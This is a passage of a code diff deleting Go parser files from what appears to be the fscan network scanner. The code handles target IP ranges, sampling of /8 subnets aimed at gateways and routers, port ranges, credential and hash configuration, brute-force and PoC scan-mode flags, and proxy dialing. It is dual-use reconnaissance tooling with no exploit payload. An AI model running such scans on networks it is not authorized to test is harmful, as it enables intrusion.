// 处理完整格式 (如: 192.168.1.1-192.168.1.100)
endIP := net.ParseIP(endIPStr)
if endIP == nil {
return nil, fmt.Errorf("无效的结束IP地址: %s", endIPStr)
}
return tp.parseFullIPRange(startIP, endIP)
}
// parseShortIPRange 解析简写格式的IP范围
func (tp *TargetParser) parseShortIPRange(startIPStr, endSuffix string) ([]string, error) {
// 将结束段转换为数字
endNum, err := strconv.Atoi(endSuffix)
if err != nil || endNum > MaxIPv4OctetValue {
return nil, fmt.Errorf("无效的IP范围结束值: %s", endSuffix)
}
// 分解起始IP
ipParts := strings.Split(startIPStr, ".")
if len(ipParts) != IPv4OctetCount {
return nil, fmt.Errorf("无效的IP地址格式: %s", startIPStr)
}
// 获取前缀和起始IP的最后一部分
prefixIP := strings.Join(ipParts[0:3], ".")
startNum, err := strconv.Atoi(ipParts[3])
if err != nil || startNum > endNum {
return nil, fmt.Errorf("无效的IP范围: %s-%s", startIPStr, endSuffix)
}
// 生成IP范围
var allIP []string
for i := startNum; i <= endNum; i++ {
allIP = append(allIP, fmt.Sprintf("%s.%d", prefixIP, i))
}
return allIP, nil
}
// parseFullIPRange 解析完整格式的IP范围
func (tp *TargetParser) parseFullIPRange(startIP, endIP net.IP) ([]string, error) {
// 转换为IPv4
start4 := startIP.To4()
end4 := endIP.To4()
if start4 == nil || end4 == nil {
return nil, fmt.Errorf("仅支持IPv4地址范围")
}
// 计算IP地址的整数表示
startInt := (int(start4[0]) << IPFirstOctetShift) | (int(start4[1]) << IPSecondOctetShift) | (int(start4[2]) << IPThirdOctetShift) | int(start4[3])
endInt := (int(end4[0]) << IPFirstOctetShift) | (int(end4[1]) << IPSecondOctetShift) | (int(end4[2]) << IPThirdOctetShift) | int(end4[3])
// 检查范围的有效性
if startInt > endInt {
return nil, fmt.Errorf("起始IP大于结束IP")
}
// 限制IP范围的大小防止生成过多IP导致内存问题
if endInt-startInt > tp.options.MaxTargets {
return nil, fmt.Errorf("IP范围过大超过最大限制: %d", tp.options.MaxTargets)
}
// 生成IP范围
var allIP []string
for ipInt := startInt; ipInt <= endInt; ipInt++ {
ip := fmt.Sprintf("%d.%d.%d.%d",
(ipInt>>IPFirstOctetShift)&IPOctetMask,
(ipInt>>IPSecondOctetShift)&IPOctetMask,
(ipInt>>IPThirdOctetShift)&IPOctetMask,
ipInt&IPOctetMask)
allIP = append(allIP, ip)
}
return allIP, nil
}
// parseSubnet8 解析/8网段的IP地址生成采样IP列表
func (tp *TargetParser) parseSubnet8(subnet string) []string {
// 去除CIDR后缀获取基础IP
baseIP := subnet[:len(subnet)-2]
if net.ParseIP(baseIP) == nil {
return nil
}
// 获取/8网段的第一段
firstOctet := strings.Split(baseIP, ".")[0]
var sampleIPs []string
// 对常用网段进行更全面的扫描
commonSecondOctets := GetCommonSecondOctets()
// 对于每个选定的第二段,采样部分第三段
for _, secondOctet := range commonSecondOctets {
for thirdOctet := 0; thirdOctet < 256; thirdOctet += Subnet8ThirdOctetStep {
// 添加常见的网关和服务器IP
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, DefaultGatewayLastOctet)) // 默认网关
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, RouterSwitchLastOctet)) // 通常用于路由器/交换机
// 随机采样不同范围的主机IP
fourthOctet := tp.randomInt(SamplingMinHost, SamplingMaxHost)
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, fourthOctet))
}
}
// 对其他二级网段进行稀疏采样
for secondOctet := 0; secondOctet < 256; secondOctet += Subnet8SamplingStep {
for thirdOctet := 0; thirdOctet < 256; thirdOctet += Subnet8SamplingStep {
// 对于采样的网段取几个代表性IP
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, DefaultGatewayLastOctet))
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, tp.randomInt(SamplingMinHost, SamplingMaxHost)))
}
}
// 限制采样数量
if len(sampleIPs) > tp.options.MaxTargets {
sampleIPs = sampleIPs[:tp.options.MaxTargets]
}
return sampleIPs
}
// randomInt 生成指定范围内的随机整数
func (tp *TargetParser) randomInt(min, max int) int {
if min >= max || min < 0 || max <= 0 {
return max
}
return min + (max-min)/2 // 简化版本避免依赖rand
}
// parsePortRange 解析端口范围
func (tp *TargetParser) parsePortRange(rangeStr string) ([]int, error) {
parts := strings.Split(rangeStr, "-")
if len(parts) != 2 {
return nil, fmt.Errorf("无效的端口范围格式")
}
startPort, err1 := strconv.Atoi(strings.TrimSpace(parts[0]))
endPort, err2 := strconv.Atoi(strings.TrimSpace(parts[1]))
if err1 != nil || err2 != nil {
return nil, fmt.Errorf("无效的端口号")
}
if startPort > endPort {
startPort, endPort = endPort, startPort
}
if startPort < MinPort || endPort > MaxPort {
return nil, fmt.Errorf("端口号超出范围")
}
var ports []int
for port := startPort; port <= endPort; port++ {
ports = append(ports, port)
}
return ports, nil
}
// nextIP 获取下一个IP地址
func (tp *TargetParser) nextIP(ip net.IP) {
for j := len(ip) - 1; j >= 0; j-- {
ip[j]++
if ip[j] > 0 {
break
}
}
}
// validateHost 验证主机地址
func (tp *TargetParser) validateHost(host string) (bool, error) {
if host == "" {
return false, fmt.Errorf("主机地址为空")
}
// 检查是否为host:port格式
if strings.Contains(host, ":") {
// 可能是host:port格式尝试分离
if h, portStr, err := net.SplitHostPort(host); err == nil {
// 验证端口号
if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= MinPort && port <= MaxPort {
// 递归验证主机部分(不包含端口)
return tp.validateHost(h)
}
}
// 如果不是有效的host:port格式继续按普通主机地址处理
}
// 检查是否为IP地址
if ip := net.ParseIP(host); ip != nil {
return tp.validateIP(ip)
}
// 检查是否为域名
if tp.isValidDomain(host) {
return true, nil
}
return false, fmt.Errorf("无效的主机地址格式")
}
// validateIP 验证IP地址
func (tp *TargetParser) validateIP(ip net.IP) (bool, error) {
if ip == nil {
return false, fmt.Errorf("IP地址为空")
}
// 检查是否为私有IP
if !tp.options.AllowPrivateIPs && tp.isPrivateIP(ip) {
return false, fmt.Errorf("不允许私有IP地址")
}
// 检查是否为回环地址
if !tp.options.AllowLoopback && ip.IsLoopback() {
return false, fmt.Errorf("不允许回环地址")
}
return true, nil
}
// validateURL 验证URL
func (tp *TargetParser) validateURL(rawURL string) (bool, error) {
if rawURL == "" {
return false, fmt.Errorf("URL为空")
}
if !tp.options.ValidateURLs {
return true, nil
}
if !tp.urlRegex.MatchString(rawURL) {
return false, fmt.Errorf("URL格式无效")
}
// 进一步验证URL格式
_, err := url.Parse(rawURL)
if err != nil {
return false, fmt.Errorf("URL解析失败: %v", err)
}
return true, nil
}
// validateHostPort 验证主机端口组合
func (tp *TargetParser) validateHostPort(hostPort string) (bool, error) {
parts := strings.Split(hostPort, ":")
if len(parts) != 2 {
return false, fmt.Errorf("主机端口格式无效,应为 host:port")
}
host := strings.TrimSpace(parts[0])
portStr := strings.TrimSpace(parts[1])
// 验证主机
if valid, err := tp.validateHost(host); !valid {
return false, fmt.Errorf("主机无效: %v", err)
}
// 验证端口
port, err := strconv.Atoi(portStr)
if err != nil {
return false, fmt.Errorf("端口号无效: %s", portStr)
}
if port < MinPort || port > MaxPort {
return false, fmt.Errorf("端口号超出范围: %d", port)
}
return true, nil
}
// isPrivateIP 检查是否为私有IP
func (tp *TargetParser) isPrivateIP(ip net.IP) bool {
if ip4 := ip.To4(); ip4 != nil {
// 10.0.0.0/8
if ip4[0] == 10 {
return true
}
// 172.16.0.0/12
if ip4[0] == 172 && ip4[1] >= Private172StartSecondOctet && ip4[1] <= Private172EndSecondOctet {
return true
}
// 192.168.0.0/16
if ip4[0] == 192 && ip4[1] == Private192SecondOctet {
return true
}
}
return false
}
// isValidDomain 检查是否为有效域名
func (tp *TargetParser) isValidDomain(domain string) bool {
return CompiledDomainRegex.MatchString(domain) && len(domain) <= MaxDomainLength
}
// excludeHosts 排除指定主机
func (tp *TargetParser) excludeHosts(hosts, excludeList []string) []string {
excludeMap := make(map[string]struct{})
for _, exclude := range excludeList {
excludeMap[exclude] = struct{}{}
}
var result []string
for _, host := range hosts {
if _, excluded := excludeMap[host]; !excluded {
result = append(result, host)
}
}
return result
}
// removeDuplicateStrings 去重字符串切片
func (tp *TargetParser) removeDuplicateStrings(slice []string) []string {
seen := make(map[string]struct{})
var result []string
for _, item := range slice {
if _, exists := seen[item]; !exists {
seen[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// removeDuplicatePorts 去重端口切片
func (tp *TargetParser) removeDuplicatePorts(slice []int) []int {
seen := make(map[int]struct{})
var result []int
for _, item := range slice {
if _, exists := seen[item]; !exists {
seen[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// generateStatistics 生成统计信息
func (tp *TargetParser) generateStatistics(hosts, urls []string, ports, excludePorts []int) *TargetStatistics {
return &TargetStatistics{
TotalHosts: len(hosts),
TotalURLs: len(urls),
TotalPorts: len(ports),
ExcludedPorts: len(excludePorts),
}
}
// =============================================================================================
// 已删除的死代码未使用Validate 和 GetStatistics 方法
// =============================================================================================

View File

@ -1,163 +0,0 @@
package parsers
import (
"errors"
"fmt"
"time"
"github.com/shadow1ng/fscan/common/i18n"
)
// ParsedConfig 解析后的完整配置
type ParsedConfig struct {
Targets *TargetConfig `json:"targets"`
Credentials *CredentialConfig `json:"credentials"`
Network *NetworkConfig `json:"network"`
Validation *ValidationConfig `json:"validation"`
}
// TargetConfig 目标配置
type TargetConfig struct {
Hosts []string `json:"hosts"`
URLs []string `json:"urls"`
Ports []int `json:"ports"`
ExcludePorts []int `json:"exclude_ports"`
HostPorts []string `json:"host_ports"`
LocalMode bool `json:"local_mode"`
Statistics *TargetStatistics `json:"statistics,omitempty"`
}
// TargetStatistics 目标解析统计
type TargetStatistics struct {
TotalHosts int `json:"total_hosts"`
TotalURLs int `json:"total_urls"`
TotalPorts int `json:"total_ports"`
ExcludedHosts int `json:"excluded_hosts"`
ExcludedPorts int `json:"excluded_ports"`
}
// CredentialConfig 认证配置
type CredentialConfig struct {
Usernames []string `json:"usernames"`
Passwords []string `json:"passwords"`
HashValues []string `json:"hash_values"`
HashBytes [][]byte `json:"hash_bytes,omitempty"`
SshKeyPath string `json:"ssh_key_path"`
Domain string `json:"domain"`
Statistics *CredentialStats `json:"statistics,omitempty"`
}
// CredentialStats 认证配置统计
type CredentialStats struct {
TotalUsernames int `json:"total_usernames"`
TotalPasswords int `json:"total_passwords"`
TotalHashes int `json:"total_hashes"`
UniqueUsernames int `json:"unique_usernames"`
UniquePasswords int `json:"unique_passwords"`
ValidHashes int `json:"valid_hashes"`
InvalidHashes int `json:"invalid_hashes"`
}
// NetworkConfig 网络配置
type NetworkConfig struct {
HttpProxy string `json:"http_proxy"`
Socks5Proxy string `json:"socks5_proxy"`
Timeout time.Duration `json:"timeout"`
WebTimeout time.Duration `json:"web_timeout"`
DisablePing bool `json:"disable_ping"`
EnableDNSLog bool `json:"enable_dns_log"`
UserAgent string `json:"user_agent"`
Cookie string `json:"cookie"`
}
// ValidationConfig 验证配置
type ValidationConfig struct {
ScanMode string `json:"scan_mode"`
ConflictChecked bool `json:"conflict_checked"`
Errors []error `json:"errors,omitempty"`
Warnings []string `json:"warnings,omitempty"`
}
// ParseResult 解析结果
type ParseResult struct {
Config *ParsedConfig `json:"config"`
Success bool `json:"success"`
Errors []error `json:"errors,omitempty"`
Warnings []string `json:"warnings,omitempty"`
ParseTime time.Duration `json:"parse_time"`
}
// 预定义错误类型
var (
ErrEmptyInput = errors.New(i18n.GetText("parser_empty_input"))
)
// ParserOptions 解析器选项
type ParserOptions struct {
EnableConcurrency bool // 启用并发解析
MaxWorkers int // 最大工作协程数
Timeout time.Duration // 解析超时时间
EnableValidation bool // 启用详细验证
EnableStatistics bool // 启用统计信息
IgnoreErrors bool // 忽略非致命错误
FileMaxSize int64 // 文件最大大小限制
MaxTargets int // 最大目标数量限制
}
// DefaultParserOptions 返回默认解析器选项
func DefaultParserOptions() *ParserOptions {
return &ParserOptions{
EnableConcurrency: DefaultEnableConcurrency,
MaxWorkers: DefaultMaxWorkers,
Timeout: DefaultTimeout,
EnableValidation: DefaultEnableValidation,
EnableStatistics: DefaultEnableStatistics,
IgnoreErrors: DefaultIgnoreErrors,
FileMaxSize: DefaultFileMaxSize,
MaxTargets: DefaultMaxTargets,
}
}
// Parser 解析器接口
type Parser interface {
Parse(options *ParserOptions) (*ParseResult, error)
Validate() error
GetStatistics() interface{}
}
// FileSource 文件源
type FileSource struct {
Path string `json:"path"`
Size int64 `json:"size"`
ModTime time.Time `json:"mod_time"`
LineCount int `json:"line_count"`
ValidLines int `json:"valid_lines"`
}
// ParseError 解析错误,包含详细上下文
type ParseError struct {
Type string `json:"type"`
Message string `json:"message"`
Source string `json:"source"`
Line int `json:"line,omitempty"`
Context string `json:"context,omitempty"`
Original error `json:"original,omitempty"`
}
func (e *ParseError) Error() string {
if e.Line > 0 {
return fmt.Sprintf("%s:%d - %s: %s", e.Source, e.Line, e.Type, e.Message)
}
return fmt.Sprintf("%s - %s: %s", e.Source, e.Type, e.Message)
}
// NewParseError 创建解析错误
func NewParseError(errType, message, source string, line int, original error) *ParseError {
return &ParseError{
Type: errType,
Message: message,
Source: source,
Line: line,
Original: original,
}
}

View File

@ -1,293 +0,0 @@
package parsers
import (
"fmt"
"sync"
"time"
)
// ValidationParser 参数验证解析器
type ValidationParser struct {
mu sync.RWMutex //nolint:unused // reserved for future thread safety
options *ValidationParserOptions
}
// ValidationParserOptions 验证解析器选项
type ValidationParserOptions struct {
StrictMode bool `json:"strict_mode"` // 严格模式
AllowEmpty bool `json:"allow_empty"` // 允许空配置
CheckConflicts bool `json:"check_conflicts"` // 检查参数冲突
ValidateTargets bool `json:"validate_targets"` // 验证目标有效性
ValidateNetwork bool `json:"validate_network"` // 验证网络配置
MaxErrorCount int `json:"max_error_count"` // 最大错误数量
}
// DefaultValidationParserOptions 默认验证解析器选项
func DefaultValidationParserOptions() *ValidationParserOptions {
return &ValidationParserOptions{
StrictMode: DefaultStrictMode,
AllowEmpty: DefaultAllowEmpty,
CheckConflicts: DefaultCheckConflicts,
ValidateTargets: DefaultValidateTargets,
ValidateNetwork: DefaultValidateNetwork,
MaxErrorCount: DefaultMaxErrorCount,
}
}
// NewValidationParser 创建验证解析器
func NewValidationParser(options *ValidationParserOptions) *ValidationParser {
if options == nil {
options = DefaultValidationParserOptions()
}
return &ValidationParser{
options: options,
}
}
// ValidationInput 验证输入参数
type ValidationInput struct {
// 扫描模式
ScanMode string `json:"scan_mode"`
LocalMode bool `json:"local_mode"`
// 目标配置
HasHosts bool `json:"has_hosts"`
HasURLs bool `json:"has_urls"`
HasPorts bool `json:"has_ports"`
// 网络配置
HasProxy bool `json:"has_proxy"`
DisablePing bool `json:"disable_ping"`
// 凭据配置
HasCredentials bool `json:"has_credentials"`
// 特殊模式
PocScan bool `json:"poc_scan"`
BruteScan bool `json:"brute_scan"`
LocalScan bool `json:"local_scan"`
}
// ConflictRule 冲突规则
type ConflictRule struct {
Name string `json:"name"`
Description string `json:"description"`
Fields []string `json:"fields"`
Severity string `json:"severity"` // error, warning, info
}
// ValidationRule 验证规则
type ValidationRule struct {
Name string `json:"name"`
Description string `json:"description"`
Validator func(input *ValidationInput) error `json:"-"`
Severity string `json:"severity"`
}
// Parse 执行参数验证
func (vp *ValidationParser) Parse(input *ValidationInput, config *ParsedConfig, options *ParserOptions) (*ParseResult, error) {
if input == nil {
return nil, NewParseError(ErrorTypeInputError, "验证输入为空", "", 0, ErrEmptyInput)
}
startTime := time.Now()
result := &ParseResult{
Config: &ParsedConfig{
Validation: &ValidationConfig{
ScanMode: input.ScanMode,
ConflictChecked: true,
},
},
Success: true,
}
var errors []error
var warnings []string
// 基础验证
basicErrors, basicWarnings := vp.validateBasic(input)
errors = append(errors, basicErrors...)
warnings = append(warnings, basicWarnings...)
// 冲突检查
if vp.options.CheckConflicts {
conflictErrors, conflictWarnings := vp.checkConflicts(input)
errors = append(errors, conflictErrors...)
warnings = append(warnings, conflictWarnings...)
}
// 逻辑验证
logicErrors, logicWarnings := vp.validateLogic(input, config)
errors = append(errors, logicErrors...)
warnings = append(warnings, logicWarnings...)
// 性能建议
performanceWarnings := vp.checkPerformance(input, config)
warnings = append(warnings, performanceWarnings...)
// 检查错误数量限制
if len(errors) > vp.options.MaxErrorCount {
errors = errors[:vp.options.MaxErrorCount]
warnings = append(warnings, fmt.Sprintf("错误数量过多,仅显示前%d个", vp.options.MaxErrorCount))
}
// 更新结果
result.Config.Validation.Errors = errors
result.Config.Validation.Warnings = warnings
result.Errors = errors
result.Warnings = warnings
result.ParseTime = time.Since(startTime)
result.Success = len(errors) == 0
return result, nil
}
// validateBasic 基础验证
func (vp *ValidationParser) validateBasic(input *ValidationInput) ([]error, []string) {
var errors []error
var warnings []string
// 检查是否有任何目标
if !input.HasHosts && !input.HasURLs && !input.LocalMode {
if !vp.options.AllowEmpty {
errors = append(errors, NewParseError("VALIDATION_ERROR", "未指定任何扫描目标", "basic", 0, nil))
} else {
warnings = append(warnings, "未指定扫描目标,将使用默认配置")
}
}
// 检查扫描模式
if input.ScanMode != "" {
if err := vp.validateScanMode(input.ScanMode); err != nil {
if vp.options.StrictMode {
errors = append(errors, err)
} else {
warnings = append(warnings, err.Error())
}
}
}
return errors, warnings
}
// checkConflicts 检查参数冲突
func (vp *ValidationParser) checkConflicts(input *ValidationInput) ([]error, []string) {
var errors []error
var warnings []string
// 定义冲突规则 (预留用于扩展)
_ = []ConflictRule{
{
Name: "multiple_scan_modes",
Description: "不能同时使用多种扫描模式",
Fields: []string{"hosts", "urls", "local_mode"},
Severity: "error",
},
{
Name: "proxy_with_ping",
Description: "使用代理时建议禁用Ping检测",
Fields: []string{"proxy", "ping"},
Severity: "warning",
},
}
// 检查扫描模式冲突
scanModes := 0
if input.HasHosts {
scanModes++
}
if input.HasURLs {
scanModes++
}
if input.LocalMode {
scanModes++
}
if scanModes > 1 {
errors = append(errors, NewParseError("CONFLICT_ERROR",
"不能同时指定多种扫描模式(主机扫描、URL扫描、本地模式)", "validation", 0, nil))
}
// 检查代理和Ping冲突
if input.HasProxy && !input.DisablePing {
warnings = append(warnings, "代理模式下Ping检测可能失效")
}
return errors, warnings
}
// validateLogic 逻辑验证
func (vp *ValidationParser) validateLogic(input *ValidationInput, config *ParsedConfig) ([]error, []string) {
var errors []error
var warnings []string
// 验证目标配置逻辑
if vp.options.ValidateTargets && config != nil && config.Targets != nil {
// 检查排除端口配置
if len(config.Targets.ExcludePorts) > 0 && len(config.Targets.Ports) == 0 {
warnings = append(warnings, "排除端口无效")
}
}
return errors, warnings
}
// checkPerformance 性能检查
func (vp *ValidationParser) checkPerformance(input *ValidationInput, config *ParsedConfig) []string {
var warnings []string
if config == nil {
return warnings
}
// 检查目标数量
if config.Targets != nil {
totalTargets := len(config.Targets.Hosts) * len(config.Targets.Ports)
if totalTargets > MaxTargetsThreshold {
warnings = append(warnings, fmt.Sprintf("大量目标(%d),可能耗时较长", totalTargets))
}
// 检查端口范围
if len(config.Targets.Ports) > DefaultMaxPortRange {
warnings = append(warnings, "端口数量过多")
}
}
// 检查超时配置
if config.Network != nil {
if config.Network.Timeout < MinTimeoutThreshold {
warnings = append(warnings, "超时过短")
}
if config.Network.Timeout > MaxTimeoutThreshold {
warnings = append(warnings, "超时过长")
}
}
return warnings
}
// validateScanMode 验证扫描模式
func (vp *ValidationParser) validateScanMode(scanMode string) error {
validModes := []string{"all", "icmp"}
// 检查是否为预定义模式
for _, mode := range validModes {
if scanMode == mode {
return nil
}
}
// 允许插件名称作为扫描模式,实际插件验证在运行时进行
// 这里不做严格验证,避免维护两套插件列表
return nil
}
// =============================================================================================
// 已删除的死代码未使用Validate 和 GetStatistics 方法
// =============================================================================================

View File

@ -1,276 +0,0 @@
package parsers
import (
"regexp"
"time"
"github.com/shadow1ng/fscan/common/base"
)
/*
constants.go - 解析器系统常量定义
统一管理common/parsers包中的所有常量便于查看和编辑
*/
// =============================================================================
// 默认解析器选项常量 (从Types.go迁移)
// =============================================================================
const (
// 解析器默认配置
DefaultEnableConcurrency = true
DefaultMaxWorkers = 4
DefaultTimeout = 30 * time.Second
DefaultEnableValidation = true
DefaultEnableStatistics = true
DefaultIgnoreErrors = false
DefaultFileMaxSize = 100 * 1024 * 1024 // 100MB
DefaultMaxTargets = 10000 // 10K targets
)
// =============================================================================
// 文件读取器常量 (从FileReader.go迁移)
// =============================================================================
const (
// 文件读取器默认配置
DefaultMaxCacheSize = 10
DefaultEnableCache = true
DefaultFileReaderMaxFileSize = 50 * 1024 * 1024 // 50MB
DefaultFileReaderTimeout = 30 * time.Second
DefaultFileReaderEnableValidation = true
DefaultTrimSpace = true
DefaultSkipEmpty = true
DefaultSkipComments = true
// 文件内容验证
MaxLineLength = 1000 // 单行最大字符数
MaxValidRune = 32 // 最小有效字符ASCII值
TabRune = 9 // Tab字符
NewlineRune = 10 // 换行符
CarriageReturnRune = 13 // 回车符
CommentPrefix = "#" // 注释前缀
)
// =============================================================================
// 凭据解析器常量 (从CredentialParser.go迁移)
// =============================================================================
const (
// 凭据验证限制
DefaultMaxUsernameLength = 64
DefaultMaxPasswordLength = 128
DefaultAllowEmptyPasswords = true
DefaultValidateHashes = true
DefaultDeduplicateUsers = true
DefaultDeduplicatePasswords = true
DefaultCredentialsEnableStatistics = true
// 哈希验证
HashRegexPattern = `^[a-fA-F0-9]{32}$` // MD5哈希正则表达式
HashValidationLength = 32 // 有效哈希长度
InvalidUsernameChars = "\r\n\t" // 无效用户名字符
)
// =============================================================================
// 网络解析器常量 (从NetworkParser.go迁移)
// =============================================================================
const (
// 网络配置默认值
DefaultValidateProxies = true
DefaultAllowInsecure = false
DefaultNetworkTimeout = 30 * time.Second
DefaultWebTimeout = 10 * time.Second
DefaultUserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
// 超时限制
MaxTimeoutSeconds = 300 // 最大超时5分钟
MaxWebTimeoutSeconds = 120 // 最大Web超时2分钟
// 字符串长度限制
MaxUserAgentLength = 512 // 最大用户代理长度
MaxCookieLength = 4096 // 最大Cookie长度
// 代理快捷配置
ProxyShortcut1 = "1"
ProxyShortcut2 = "2"
ProxyShortcutHTTP = "http://127.0.0.1:8080"
ProxyShortcutSOCKS5 = "socks5://127.0.0.1:1080"
// 协议支持
ProtocolHTTP = "http"
ProtocolHTTPS = "https"
ProtocolSOCKS5 = "socks5"
ProtocolPrefix = "://"
SOCKS5Prefix = "socks5://"
HTTPPrefix = "http://"
// 端口范围
MinPort = 1
MaxPort = 65535
// 无效字符集
InvalidUserAgentChars = "\r\n\t"
)
// GetCommonBrowsers 获取常见浏览器标识列表
func GetCommonBrowsers() []string {
return []string{
"Mozilla", "Chrome", "Safari", "Firefox", "Edge", "Opera",
"AppleWebKit", "Gecko", "Trident", "Presto",
}
}
// =============================================================================
// 目标解析器常量 (从TargetParser.go迁移)
// =============================================================================
const (
// 目标解析器默认配置
DefaultTargetMaxTargets = 10000
DefaultMaxPortRange = 1000
DefaultAllowPrivateIPs = true
DefaultAllowLoopback = true
DefaultValidateURLs = true
DefaultResolveDomains = false
DefaultTargetEnableStatistics = true
// 正则表达式模式
IPv4RegexPattern = `^(\d{1,3}\.){3}\d{1,3}$`
PortRangeRegexPattern = `^(\d+)(-(\d+))?$`
URLValidationRegexPattern = `^https?://[^\s]+$`
DomainRegexPattern = `^[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$`
CookieRegexPattern = `^[^=;\s]+(=[^;\s]*)?(\s*;\s*[^=;\s]+(=[^;\s]*)?)*$`
// IP地址限制
MaxIPv4OctetValue = 255
IPv4OctetCount = 4
MaxDomainLength = 253
// CIDR网段简写
PrivateNetwork192 = "192"
PrivateNetwork172 = "172"
PrivateNetwork10 = "10"
PrivateNetwork192CIDR = "192.168.0.0/16"
PrivateNetwork172CIDR = "172.16.0.0/12"
PrivateNetwork10CIDR = "10.0.0.0/8"
// 私有网络范围
Private172StartSecondOctet = 16
Private172EndSecondOctet = 31
Private192SecondOctet = 168
// /8网段采样配置
Subnet8SamplingStep = 32
Subnet8ThirdOctetStep = 10
// IP地址计算位移
IPFirstOctetShift = 24
IPSecondOctetShift = 16
IPThirdOctetShift = 8
IPOctetMask = 0xFF
)
// GetCommonSecondOctets 获取常用第二段IP
func GetCommonSecondOctets() []int {
return []int{0, 1, 2, 10, 100, 200, 254}
}
// =============================================================================
// 简化解析器常量 (从Simple.go迁移)
// =============================================================================
const (
// 端口和主机限制
SimpleMaxHosts = 10000
// 网段简写展开
DefaultGatewayLastOctet = 1
RouterSwitchLastOctet = 254
SamplingMinHost = 2
SamplingMaxHost = 253
)
// GetPortGroups 获取预定义端口组映射(统一的端口组定义)
func GetPortGroups() map[string]string {
return map[string]string{
"web": base.WebPorts, // 使用实际的WebPorts常量
"main": base.MainPorts, // 使用实际的MainPorts常量
"db": base.DbPorts, // 使用实际的DbPorts常量
"service": base.ServicePorts, // 使用实际的ServicePorts常量
"common": base.CommonPorts, // 使用实际的CommonPorts常量
"all": base.AllPorts, // 使用实际的AllPorts常量
}
}
// GetTargetPortGroups 获取目标解析器端口组映射(向后兼容,调用统一函数)
func GetTargetPortGroups() map[string]string {
return GetPortGroups()
}
// =============================================================================
// 验证解析器常量 (从ValidationParser.go迁移)
// =============================================================================
const (
// 验证解析器默认配置
DefaultMaxErrorCount = 100
DefaultStrictMode = false
DefaultAllowEmpty = true
DefaultCheckConflicts = true
DefaultValidateTargets = true
DefaultValidateNetwork = true
// 性能警告阈值
MaxTargetsThreshold = 100000 // 最大目标数量阈值
MinTimeoutThreshold = 1 * time.Second // 最小超时阈值
MaxTimeoutThreshold = 60 * time.Second // 最大超时阈值
)
// =============================================================================
// 错误类型常量
// =============================================================================
const (
// 解析错误类型
ErrorTypeInputError = "INPUT_ERROR"
ErrorTypeFileError = "FILE_ERROR"
ErrorTypeTimeout = "TIMEOUT"
ErrorTypeReadError = "READ_ERROR"
ErrorTypeUsernameError = "USERNAME_ERROR"
ErrorTypePasswordError = "PASSWORD_ERROR"
ErrorTypeHashError = "HASH_ERROR"
ErrorTypeProxyError = "PROXY_ERROR"
ErrorTypeUserAgentError = "USERAGENT_ERROR"
ErrorTypeCookieError = "COOKIE_ERROR"
ErrorTypeHostError = "HOST_ERROR"
ErrorTypePortError = "PORT_ERROR"
ErrorTypeExcludePortError = "EXCLUDE_PORT_ERROR"
)
// =============================================================================
// 编译时正则表达式
// =============================================================================
var (
// 预编译的正则表达式,提高性能
CompiledHashRegex *regexp.Regexp
CompiledIPv4Regex *regexp.Regexp
CompiledPortRegex *regexp.Regexp
CompiledURLRegex *regexp.Regexp
CompiledDomainRegex *regexp.Regexp
CompiledCookieRegex *regexp.Regexp
)
// 在包初始化时编译正则表达式
func init() {
CompiledHashRegex = regexp.MustCompile(HashRegexPattern)
CompiledIPv4Regex = regexp.MustCompile(IPv4RegexPattern)
CompiledPortRegex = regexp.MustCompile(PortRangeRegexPattern)
CompiledURLRegex = regexp.MustCompile(URLValidationRegexPattern)
CompiledDomainRegex = regexp.MustCompile(DomainRegexPattern)
CompiledCookieRegex = regexp.MustCompile(CookieRegexPattern)
}

View File

@ -1,14 +0,0 @@
package proxy
// 已清理未使用的导入
// =============================================================================================
// 已删除的死代码(未使用):
// - ParseProxyURL: 解析代理URL
// - CreateProxyManager: 创建代理管理器
// - ValidateProxyConfig: 验证代理配置
// - GetProxyTypeFromString: 从字符串获取代理类型
// - BuildProxyURL: 构建代理URL
// - IsProxyEnabled: 检查是否启用了代理
// - GetDefaultProxyConfigForType: 获取指定类型的默认配置
// =============================================================================================

View File

@ -1,22 +0,0 @@
package proxy
// 已清理未使用的导入和全局变量
// =============================================================================================
// 已删除的死代码(未使用):
// - globalManager: 全局代理管理器变量
// - globalMutex: 全局互斥锁
// - once: 全局初始化once变量
// - InitGlobalProxy: 初始化全局代理管理器
// - GetGlobalProxy: 获取全局代理管理器
// - UpdateGlobalProxyConfig: 更新全局代理配置
// - CloseGlobalProxy: 关闭全局代理管理器
// - GetGlobalProxyStats: 获取全局代理统计信息
// - DialWithProxy: 使用全局代理拨号
// - DialContextWithProxy: 使用全局代理和上下文拨号
// - DialTLSWithProxy: 使用全局代理建立TLS连接
// - DialTLSContextWithProxy: 使用全局代理和上下文建立TLS连接
// - IsProxyEnabledGlobally: 检查全局是否启用了代理
// - GetGlobalProxyType: 获取全局代理类型
// - GetGlobalProxyAddress: 获取全局代理地址
// =============================================================================================

View File

@ -1,112 +0,0 @@
package proxy
import (
"bufio"
"context"
"encoding/base64"
"fmt"
"net"
"net/http"
"sync/atomic"
"time"
)
// httpDialer HTTP代理拨号器
type httpDialer struct {
config *ProxyConfig
stats *ProxyStats
baseDial *net.Dialer
}
func (h *httpDialer) Dial(network, address string) (net.Conn, error) {
return h.DialContext(context.Background(), network, address)
}
func (h *httpDialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
start := time.Now()
atomic.AddInt64(&h.stats.TotalConnections, 1)
// 连接到HTTP代理服务器
proxyConn, err := h.baseDial.DialContext(ctx, NetworkTCP, h.config.Address)
if err != nil {
atomic.AddInt64(&h.stats.FailedConnections, 1)
h.stats.LastError = err.Error()
